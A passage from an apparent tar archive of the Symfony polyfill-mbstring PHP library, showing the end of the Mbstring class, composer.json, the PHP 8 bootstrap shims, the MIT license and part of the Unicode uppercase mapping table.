(0xC0 <= $code) { return (($code - 0xC0) << 6) + $s[2] - 0x80; } return $code; } public static function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = \STR_PAD_RIGHT, ?string $encoding = null): string { if (!\in_array($pad_type, [\STR_PAD_RIGHT, \STR_PAD_LEFT, \STR_PAD_BOTH], true)) { throw new \ValueError('mb_str_pad(): Argument #4 ($pad_type) must be STR_PAD_LEFT, STR_PAD_RIGHT, or STR_PAD_BOTH'); } if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given'); } if (self::mb_strlen($pad_string, $encoding) <= 0) { throw new \ValueError('mb_str_pad(): Argument #3 ($pad_string) must be a non-empty string'); } $paddingRequired = $length - self::mb_strlen($string, $encoding); if ($paddingRequired < 1) { return $string; } switch ($pad_type) { case \STR_PAD_LEFT: return self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding).$string; case \STR_PAD_RIGHT: return $string.self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding); default: $leftPaddingLength = floor($paddingRequired / 2); $rightPaddingLength = $paddingRequired - $leftPaddingLength; return self::mb_substr(str_repeat($pad_string, $leftPaddingLength), 0, $leftPaddingLength, $encoding).$string.self::mb_substr(str_repeat($pad_string, $rightPaddingLength), 0, $rightPaddingLength, $encoding); } } public static function mb_ucfirst(string $string, ?string $encoding = null): string { if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_ucfirst(): Argument #2 ($encoding) must be a valid encoding, "%s" given'); } $firstChar = mb_substr($string, 0, 1, $encoding); $firstChar = mb_convert_case($firstChar, \MB_CASE_TITLE, $encoding); return $firstChar.mb_substr($string, 1, null, $encoding); } public static function mb_lcfirst(string $string, ?string $encoding = null): string { if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_lcfirst(): Argument #2 ($encoding) must be a valid encoding, "%s" given'); } $firstChar = mb_substr($string, 0, 1, $encoding); $firstChar = mb_convert_case($firstChar, \MB_CASE_LOWER, $encoding); return $firstChar.mb_substr($string, 1, null, $encoding); } private static function getSubpart($pos, $part, $haystack, $encoding) { if (false === $pos) { return false; } if ($part) { return self::mb_substr($haystack, 0, $pos, $encoding); } return self::mb_substr($haystack, $pos, null, $encoding); } private static function html_encoding_callback(array $m) { $i = 1; $entities = ''; $m = unpack('C*', htmlentities($m[0], \ENT_COMPAT, 'UTF-8')); while (isset($m[$i])) { if (0x80 > $m[$i]) { $entities .= \chr($m[$i++]); continue; } if (0xF0 <= $m[$i]) { $c = (($m[$i++] - 0xF0) << 18) + (($m[$i++] - 0x80) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } elseif (0xE0 <= $m[$i]) { $c = (($m[$i++] - 0xE0) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } else { $c = (($m[$i++] - 0xC0) << 6) + $m[$i++] - 0x80; } $entities .= '&#'.$c.';'; } return $entities; } private static function title_case(array $s) { return self::mb_convert_case($s[1], \MB_CASE_UPPER, 'UTF-8').self::mb_convert_case($s[2], \MB_CASE_LOWER, 'UTF-8'); } private static function getData($file) { if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { return require $file; } return false; } private static function getEncoding($encoding) { if (null === $encoding) { return self::$internalEncoding; } if ('UTF-8' === $encoding) { return 'UTF-8'; } $encoding = strtoupper($encoding); if ('8BIT' === $encoding || 'BINARY' === $encoding) { return 'CP850'; } if ('UTF8' === $encoding) { return 'UTF-8'; } return $encoding; } private static function assertEncoding(string $encoding, string $errorFormat): void { try { $validEncoding = @self::mb_check_encoding('', $encoding); } catch (\ValueError $e) { throw new \ValueError(\sprintf($errorFormat, $encoding)); } // BC for PHP 7.3 and lower if (!$validEncoding) { throw new \ValueError(\sprintf($errorFormat, $encoding)); } } } symfony/polyfill-mbstring/composer.json000064400000001730151676714400014463 0ustar00{ "name": "symfony/polyfill-mbstring", "type": "library", "description": "Symfony polyfill for the Mbstring extension", "keywords": ["polyfill", "shim", "compatibility", "portable", "mbstring"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "provide": { "ext-mbstring": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-mbstring": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } symfony/polyfill-mbstring/bootstrap80.php000064400000022247151676714400014645 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding(array|string|null $string, ?string $to_encoding, array|string|null $from_encoding = null): array|string|false { return p\Mbstring::mb_convert_encoding($string ?? '', (string) $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader(?string $string): string { return p\Mbstring::mb_decode_mimeheader((string) $string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader(?string $string, ?string $charset = null, ?string $transfer_encoding = null, ?string $newline = "\r\n", ?int $indent = 0): string { return p\Mbstring::mb_encode_mimeheader((string) $string, $charset, $transfer_encoding, (string) $newline, (int) $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity(?string $string, array $map, ?string $encoding = null): string { return p\Mbstring::mb_decode_numericentity((string) $string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity(?string $string, array $map, ?string $encoding = null, ?bool $hex = false): string { return p\Mbstring::mb_encode_numericentity((string) $string, $map, $encoding, (bool) $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case(?string $string, ?int $mode, ?string $encoding = null): string { return p\Mbstring::mb_convert_case((string) $string, (int) $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding(?string $encoding = null): string|bool { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language(?string $language = null): string|bool { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings(): array { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases(?string $encoding): array { return p\Mbstring::mb_encoding_aliases((string) $encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding(?string $string, array|string|null $encodings = null, ?bool $strict = false): string|false { return p\Mbstring::mb_detect_encoding((string) $string, $encodings, (bool) $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order(array|string|null $encoding = null): array|bool { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str(?string $string, &$result = []): bool { parse_str((string) $string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strlen((string) $string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtolower((string) $string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtoupper((string) $string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character(string|int|null $substitute_character = null): string|int|bool { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr(?string $string, ?int $start, ?int $length = null, ?string $encoding = null): string { return p\Mbstring::mb_substr((string) $string, (int) $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_stripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_stristr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrchr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrichr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strrpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strstr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info(?string $type = 'all'): array|string|int|false { return p\Mbstring::mb_get_info((string) $type); } } if (!function_exists('mb_http_output')) { function mb_http_output(?string $encoding = null): string|bool { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strwidth((string) $string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count(?string $haystack, ?string $needle, ?string $encoding = null): int { return p\Mbstring::mb_substr_count((string) $haystack, (string) $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler(?string $string, ?int $status): string { return p\Mbstring::mb_output_handler((string) $string, (int) $status); } } if (!function_exists('mb_http_input')) { function mb_http_input(?string $type = null): array|string|false { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables(?string $to_encoding, array|string|null $from_encoding, mixed &$var, mixed &...$vars): string|false { return p\Mbstring::mb_convert_variables((string) $to_encoding, $from_encoding ?? '', $var, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord(?string $string, ?string $encoding = null): int|false { return p\Mbstring::mb_ord((string) $string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr(?int $codepoint, ?string $encoding = null): string|false { return p\Mbstring::mb_chr((int) $codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub(?string $string, ?string $encoding = null): string { $encoding ??= mb_internal_encoding(); return mb_convert_encoding((string) $string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split(?string $string, ?int $length = 1, ?string $encoding = null): array { return p\Mbstring::mb_str_split((string) $string, (int) $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (!function_exists('mb_ucfirst')) { function mb_ucfirst($string, ?string $encoding = null): string { return p\Mbstring::mb_ucfirst($string, $encoding); } } if (!function_exists('mb_lcfirst')) { function mb_lcfirst($string, ?string $encoding = null): string { return p\Mbstring::mb_lcfirst($string, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } symfony/polyfill-mbstring/LICENSE000064400000002054151676714400012746 0ustar00Copyright (c) 2015-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. symfony/polyfill-mbstring/Resources/unidata/upperCase.php000064400000063322151676714400020005 0ustar00<?php return array ( 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', 'µ' => 'Μ', 'à' => 'À', 'á' => 'Á', 'â' => 'Â', 'ã' => 'Ã', 'ä' => 'Ä', 'å' => 'Å', 'æ' => 'Æ', 'ç' => 'Ç', 'è' => 'È', 'é' => 'É', 'ê' => 'Ê', 'ë' => 'Ë', 'ì' => 'Ì', 'í' => 'Í', 'î' => 'Î', 'ï' => 'Ï', 'ð' => 'Ð', 'ñ' => 'Ñ', 'ò' => 'Ò', 'ó' => 'Ó', 'ô' => 'Ô', 'õ' => 'Õ', 'ö' => 'Ö', 'ø' => 'Ø', 'ù' => 'Ù', 'ú' => 'Ú', 'û' => 'Û', 'ü' => 'Ü', 'ý' => 'Ý', 'þ' => 'Þ', 'ÿ' => 'Ÿ', 'ā' => 'Ā', 'ă' => 'Ă', 'ą' => 'Ą', 'ć' => 'Ć', 'ĉ' => 'Ĉ', 'ċ' => 'Ċ', 'č' => 'Č', 'ď' => 'Ď', 'đ' => 'Đ', 'ē' => 'Ē', 'ĕ' => 'Ĕ', 'ė' => 'Ė', 'ę' => 'Ę', 'ě' => 'Ě', 'ĝ' => 'Ĝ', 'ğ' => 'Ğ', 'ġ' => 'Ġ', 'ģ' => 'Ģ', 'ĥ' => 'Ĥ', 'ħ' => 'Ħ', 'ĩ' => 'Ĩ', 'ī' => 'Ī', 'ĭ' => 'Ĭ', 'į' => 'Į', 'ı' => 'I', 'ij' => 'IJ', 'ĵ' => 'Ĵ', 'ķ' => 'Ķ', 'ĺ' => 'Ĺ', 'ļ' => 'Ļ', 'ľ' => 'Ľ', 'ŀ' => 'Ŀ', 'ł' => 'Ł', 'ń' => 'Ń', 'ņ' => 'Ņ', 'ň' => 'Ň', 'ŋ' => 'Ŋ', 'ō' => 'Ō', 'ŏ' => 'Ŏ', 'ő' => 'Ő', 'œ' => 'Œ', 'ŕ' => 'Ŕ', 'ŗ' => 'Ŗ', 'ř' => 'Ř', 'ś' => 'Ś', 'ŝ' => 'Ŝ', 'ş' => 'Ş', 'š' => 'Š', 'ţ' => 'Ţ', 'ť' => 'Ť', 'ŧ' => 'Ŧ', 'ũ' => 'Ũ', 'ū' => 'Ū', 'ŭ' => 'Ŭ', 'ů' => 'Ů', 'ű' => 'Ű', 'ų' => 'Ų', 'ŵ' => 'Ŵ', 'ŷ' => 'Ŷ', 'ź' => 'Ź', 'ż' => 'Ż', 'ž' => 'Ž', 'ſ' => 'S', 'ƀ' => 'Ƀ', 'ƃ' => 'Ƃ', 'ƅ' => 'Ƅ', 'ƈ' => 'Ƈ', 'ƌ' => 'Ƌ', 'ƒ' => 'Ƒ', 'ƕ' => 'Ƕ', 'ƙ' => 'Ƙ', 'ƚ' => 'Ƚ', 'ƞ' => 'Ƞ', 'ơ' => 'Ơ', 'ƣ' => 'Ƣ', 'ƥ' => 'Ƥ', 'ƨ' => 'Ƨ', 'ƭ' => 'Ƭ', 'ư' => 'Ư', 'ƴ' => 'Ƴ', 'ƶ' => 'Ƶ', 'ƹ' => 'Ƹ', 'ƽ' => 'Ƽ', 'ƿ' => 'Ƿ', 'Dž' => 'DŽ', 'dž' => 'DŽ', 'Lj' => 'LJ', 'lj' => 'LJ', 'Nj' => 'NJ', 'nj' => 'NJ', 'ǎ' => 'Ǎ', 'ǐ' => 'Ǐ', 'ǒ' => 'Ǒ', 'ǔ' => 'Ǔ', 'ǖ' => 'Ǖ', 'ǘ' => 'Ǘ', 'ǚ' => 'Ǚ', 'ǜ' => 'Ǜ', 'ǝ' => 'Ǝ', 'ǟ' => 'Ǟ', 'ǡ' => 'Ǡ', 'ǣ' => 'Ǣ', 'ǥ' => 'Ǥ', 'ǧ' => 'Ǧ', 'ǩ' => 'Ǩ', 'ǫ' => 'Ǫ', 'ǭ' => 'Ǭ', 'ǯ' => 'Ǯ', 'Dz' => 'DZ', 'dz' => 'DZ', 'ǵ' => 'Ǵ', 'ǹ' => 'Ǹ', 'ǻ' => 'Ǻ', 'ǽ' => 'Ǽ', 'ǿ' => 'Ǿ', 'ȁ' => 'Ȁ', 'ȃ' => 'Ȃ', 'ȅ' => 'Ȅ', 'ȇ' => 'Ȇ', 'ȉ' => 'Ȉ', 'ȋ' => 'Ȋ', 'ȍ' => 'Ȍ', 'ȏ' => 'Ȏ', 'ȑ' => 'Ȑ', 'ȓ' => 'Ȓ', 'ȕ' => 'Ȕ', 'ȗ' => 'Ȗ', 'ș' => 'Ș', 'ț' => 'Ț', 'ȝ' => 'Ȝ', 'ȟ' => 'Ȟ', 'ȣ' => 'Ȣ', 'ȥ' => 'Ȥ', 'ȧ' => 'Ȧ', 'ȩ' => 'Ȩ', 'ȫ' => 'Ȫ', 'ȭ' => 'Ȭ', 'ȯ' => 'Ȯ', 'ȱ' => 'Ȱ', 'ȳ' => 'Ȳ', 'ȼ' => 'Ȼ', 'ȿ' => 'Ȿ', 'ɀ' => 'Ɀ', 'ɂ' => 'Ɂ', 'ɇ' => 'Ɇ', 'ɉ' => 'Ɉ', 'ɋ' => 'Ɋ', 'ɍ' => 'Ɍ', 'ɏ' => 'Ɏ', 'ɐ' => 'Ɐ', 'ɑ' => 'Ɑ', 'ɒ' => 'Ɒ', 'ɓ' => 'Ɓ', 'ɔ' => 'Ɔ', 'ɖ' => 'Ɖ', 'ɗ' => 'Ɗ', 'ə' => 'Ə', 'ɛ' => 'Ɛ', 'ɜ' => 'Ɜ', 'ɠ' => 'Ɠ', 'ɡ' => 'Ɡ', 'ɣ' => 'Ɣ', 'ɥ' => 'Ɥ', 'ɦ' => 'Ɦ', 'ɨ' => 'Ɨ', 'ɩ' => 'Ɩ', 'ɪ' => 'Ɪ', 'ɫ' => 'Ɫ', 'ɬ' => 'Ɬ', 'ɯ' => 'Ɯ', 'ɱ' => 'Ɱ', 'ɲ' => 'Ɲ', 'ɵ' => 'Ɵ', 'ɽ' => 'Ɽ', 'ʀ' => 'Ʀ', 'ʂ' => 'Ʂ', 'ʃ' => 'Ʃ', 'ʇ' => 'Ʇ', 'ʈ' => 'Ʈ', 'ʉ' => 'Ʉ', 'ʊ' => 'Ʊ', 'ʋ' => 'Ʋ', 'ʌ' => 'Ʌ', 'ʒ' => 'Ʒ', 'ʝ' => 'Ʝ', 'ʞ' => 'Ʞ', 'ͅ' => 'Ι', 'ͱ' => 'Ͱ', 'ͳ' => 'Ͳ', 'ͷ' => 'Ͷ', 'ͻ' => 'Ͻ', 'ͼ' => 'Ͼ', 'ͽ' => 'Ͽ', 'ά' => 'Ά', 'έ' => 'Έ', 'ή' => 'Ή', 'ί' => 'Ί', 'α' => 'Α', 'β' => 'Β', 'γ' => 'Γ', 'δ' => 'Δ', 'ε' => 'Ε', 'ζ' => 'Ζ', 'η' => 'Η', 'θ' => 'Θ', 'ι' => 'Ι', 'κ' => 'Κ', 'λ' => 'Λ', 'μ' => 'Μ', 'ν' => 'Ν', 'ξ' => 'Ξ', 'ο' => 'Ο', 'π' => 'Π', 'ρ' => 'Ρ', 'ς' => 'Σ', 'σ' => 'Σ', 'τ' => 'Τ', 'υ' => 'Υ', 'φ' => 'Φ', 'χ' => 'Χ', 'ψ' => 'Ψ', 'ω' => 'Ω', 'ϊ' => 'Ϊ', 'ϋ' => 'Ϋ', 'ό' => 'Ό', 'ύ' => 'Ύ', 'ώ' => 'Ώ', 'ϐ' => 'Β', 'ϑ' => 'Θ', 'ϕ' => 'Φ', 'ϖ' => 'Π', 'ϗ' => 'Ϗ', 'ϙ' => 'Ϙ', 'ϛ' => 'Ϛ', 'ϝ' => 'Ϝ', 'ϟ' => 'Ϟ', 'ϡ' => 'Ϡ', 'ϣ' => 'Ϣ', 'ϥ' => 'Ϥ', 'ϧ' => 'Ϧ', 'ϩ' => 'Ϩ', 'ϫ' => 'Ϫ', 'ϭ' => 'Ϭ', 'ϯ' => 'Ϯ', 'ϰ' => 'Κ', 'ϱ' => 'Ρ', 'ϲ' => 'Ϲ', 'ϳ' => 'Ϳ', 'ϵ' => 'Ε', 'ϸ' => 'Ϸ', 'ϻ' => 'Ϻ', 'а' => 'А', 'б' => 'Б', 'в' => 'В', 'г' => 'Г', 'д' => 'Д', 'е' => 'Е', 'ж' => 'Ж', 'з' => 'З', 'и' => 'И', 'й' => 'Й', 'к' => 'К', 'л' => 'Л', 'м' => 'М', 'н' => 'Н', 'о' => 'О', 'п' => 'П', 'р' => 'Р', 'с' => 'С', 'т' => 'Т', 'у' => 'У', 'ф' => 'Ф', 'х' => 'Х', 'ц' => 'Ц', 'ч' => 'Ч', 'ш' => 'Ш', 'щ' => 'Щ', 'ъ' => 'Ъ', 'ы' => 'Ы', 'ь' => 'Ь', 'э' => 'Э', 'ю' => 'Ю', 'я' => 'Я', 'ѐ' => 'Ѐ', 'ё' => 'Ё', 'ђ' => 'Ђ', 'ѓ' => 'Ѓ', 'є' => 'Є', 'ѕ' => 'Ѕ', 'і' => 'І', 'ї' => 'Ї', 'ј' => 'Ј', 'љ' => 'Љ', 'њ' => 'Њ', 'ћ' => 'Ћ', 'ќ' => 'Ќ', 'ѝ' => 'Ѝ', 'ў' => 'Ў', 'џ' => 'Џ', 'ѡ' => 'Ѡ', 'ѣ' => 'Ѣ', 'ѥ' => 'Ѥ', 'ѧ' => 'Ѧ', 'ѩ' => 'Ѩ', 'ѫ' => 'Ѫ', 'ѭ' => 'Ѭ', 'ѯ' => 'Ѯ', 'ѱ' => 'Ѱ', 'ѳ' => 'Ѳ', 'ѵ' => 'Ѵ', 'ѷ' => 'Ѷ', 'ѹ' => 'Ѹ', 'ѻ' => 'Ѻ', 'ѽ' => 'Ѽ', 'ѿ' => 'Ѿ', 'ҁ' => 'Ҁ', 'ҋ' => 'Ҋ', 'ҍ' => 'Ҍ', 'ҏ' => 'Ҏ', 'ґ' => 'Ґ', 'ғ' => 'Ғ', 'ҕ' => 'Ҕ', 'җ' => 'Җ', 'ҙ' => 'Ҙ', 'қ' => 'Қ', 'ҝ' => 'Ҝ', 'ҟ' => 'Ҟ', 'ҡ' => 'Ҡ', 'ң' => 'Ң', 'ҥ' => 'Ҥ', 'ҧ' => 'Ҧ', 'ҩ' => 'Ҩ', 'ҫ' => 'Ҫ', 'ҭ' => 'Ҭ', 'ү' => 'Ү', 'ұ' => 'Ұ', 'ҳ' => 'Ҳ', 'ҵ' => 'Ҵ', 'ҷ' => 'Ҷ', 'ҹ' => 'Ҹ', 'һ' => 'Һ', 'ҽ' => 'Ҽ', 'ҿ' => 'Ҿ', 'ӂ' => 'Ӂ', 'ӄ' => 'Ӄ', 'ӆ' => 'Ӆ', 'ӈ' => 'Ӈ', 'ӊ' => 'Ӊ', 'ӌ' => 'Ӌ', 'ӎ' => 'Ӎ', 'ӏ' => 'Ӏ', 'ӑ' => 'Ӑ', 'ӓ' => 'Ӓ', 'ӕ' => 'Ӕ', 'ӗ' => 'Ӗ', 'ә' => 'Ә', 'ӛ' => 'Ӛ', 'ӝ' => 'Ӝ', 'ӟ' => 'Ӟ', 'ӡ' => 'Ӡ', 'ӣ' => 'Ӣ', 'ӥ' => 'Ӥ', 'ӧ' => 'Ӧ', 'ө' => 'Ө', 'ӫ' => 'Ӫ', 'ӭ' => 'Ӭ', 'ӯ' => 'Ӯ', 'ӱ' => 'Ӱ', 'ӳ' => 'Ӳ', 'ӵ' => 'Ӵ', 'ӷ' => 'Ӷ', 'ӹ' => 'Ӹ', 'ӻ' => 'Ӻ', 'ӽ' => 'Ӽ', 'ӿ' => 'Ӿ', 'ԁ' => 'Ԁ', 'ԃ' => 'Ԃ', 'ԅ' => 'Ԅ', 'ԇ' => 'Ԇ', 'ԉ' => 'Ԉ', 'ԋ' => 'Ԋ', 'ԍ' => 'Ԍ', 'ԏ' => 'Ԏ', 'ԑ' => 'Ԑ', 'ԓ' => 'Ԓ', 'ԕ' => 'Ԕ', 'ԗ' => 'Ԗ', 'ԙ' => 'Ԙ', 'ԛ' => 'Ԛ', 'ԝ' => 'Ԝ', 'ԟ' => 'Ԟ', 'ԡ' => 'Ԡ', 'ԣ' => 'Ԣ', 'ԥ' => 'Ԥ', 'ԧ' => 'Ԧ', 'ԩ' => 'Ԩ', 'ԫ' => 'Ԫ', 'ԭ' => 'Ԭ', 'ԯ' => 'Ԯ', 'ա' => 'Ա', 'բ' => 'Բ', 'գ' => 'Գ', 'դ' => 'Դ', 'ե' => 'Ե', 'զ' => 'Զ', 'է' => 'Է', 'ը' => 'Ը', 'թ' => 'Թ', 'ժ' => 'Ժ', 'ի' => 'Ի', 'լ' => 'Լ', 'խ' => 'Խ', 'ծ' => 'Ծ', 'կ' => 'Կ', 'հ' => 'Հ', 'ձ' => 'Ձ', 'ղ' => 'Ղ', 'ճ' => 'Ճ', 'մ' => 'Մ', 'յ' => 'Յ', 'ն' => 'Ն', 'շ' => 'Շ', 'ո' => 'Ո', 'չ' => 'Չ', 'պ' => 'Պ', 'ջ' => 'Ջ', 'ռ' => 'Ռ', 'ս' => 'Ս', 'վ' => 'Վ', 'տ' => 'Տ', 'ր' => 'Ր', 'ց' => 'Ց', 'ւ' => 'Ւ', 'փ' => 'Փ', 'ք' => 'Ք', 'օ' => 'Օ', 'ֆ' => 'Ֆ', 'ა' => 'Ა', 'ბ' => 'Ბ', 'გ' => 'Გ', 'დ' => 'Დ', 'ე' => 'Ე', 'ვ' => 'Ვ', 'ზ' => 'Ზ', 'თ' => 'Თ', 'ი' => 'Ი', 'კ' => 'Კ', 'ლ' => 'Ლ', 'მ' => 'Მ', 'ნ' => 'Ნ', 'ო' => 'Ო', 'პ' => 'Პ', 'ჟ' => 'Ჟ', 'რ' => 'Რ', 'ს' => 'Ს', 'ტ' => 'Ტ', 'უ' => 'Უ', 'ფ' => 'Ფ', 'ქ' => 'Ქ', 'ღ' => 'Ღ', 'ყ' => 'Ყ', 'შ' => 'Შ', 'ჩ' => 'Ჩ', 'ც' => 'Ც', 'ძ' => 'Ძ', 'წ' => 'Წ', 'ჭ' => 'Ჭ', 'ხ' => 'Ხ', 'ჯ' => 'Ჯ', 'ჰ' => 'Ჰ', 'ჱ' => 'Ჱ', 'ჲ' => 'Ჲ', 'ჳ' => 'Ჳ', 'ჴ' => 'Ჴ', 'ჵ' => 'Ჵ', 'ჶ' => 'Ჶ', 'ჷ' => 'Ჷ', 'ჸ' => 'Ჸ', 'ჹ' => 'Ჹ', 'ჺ' => 'Ჺ', 'ჽ' => 'Ჽ', 'ჾ' => 'Ჾ', 'ჿ' => 'Ჿ', 'ᏸ' => 'Ᏸ', 'ᏹ' => 'Ᏹ', 'ᏺ' => 'Ᏺ', 'ᏻ' => 'Ᏻ', 'ᏼ' => 'Ᏼ', 'ᏽ' => 'Ᏽ', 'ᲀ' => 'В', 'ᲁ' => 'Д', 'ᲂ' => 'О', 'ᲃ' => 'С', 'ᲄ' => 'Т', 'ᲅ' => 'Т', 'ᲆ' => 'Ъ', 'ᲇ' => 'Ѣ', 'ᲈ' => 'Ꙋ', 'ᵹ' => 'Ᵹ', 'ᵽ' => 'Ᵽ', 'ᶎ' => 'Ᶎ', 'ḁ' => 'Ḁ', 'ḃ' => 'Ḃ', 'ḅ' => 'Ḅ', 'ḇ' => 'Ḇ', 'ḉ' => 'Ḉ', 'ḋ' => 'Ḋ', 'ḍ' => 'Ḍ', 'ḏ' => 'Ḏ', 'ḑ' => 'Ḑ', 'ḓ' => 'Ḓ', 'ḕ' => 'Ḕ', 'ḗ' => 'Ḗ', 'ḙ' => 'Ḙ', 'ḛ' => 'Ḛ', 'ḝ' => 'Ḝ', 'ḟ' => 'Ḟ', 'ḡ' => 'Ḡ', 'ḣ' => 'Ḣ', 'ḥ' => 'Ḥ', 'ḧ' => 'Ḧ', 'ḩ' => 'Ḩ', 'ḫ' => 'Ḫ', 'ḭ' => 'Ḭ', 'ḯ' => 'Ḯ', 'ḱ' => 'Ḱ', 'ḳ' => 'Ḳ', 'ḵ' => 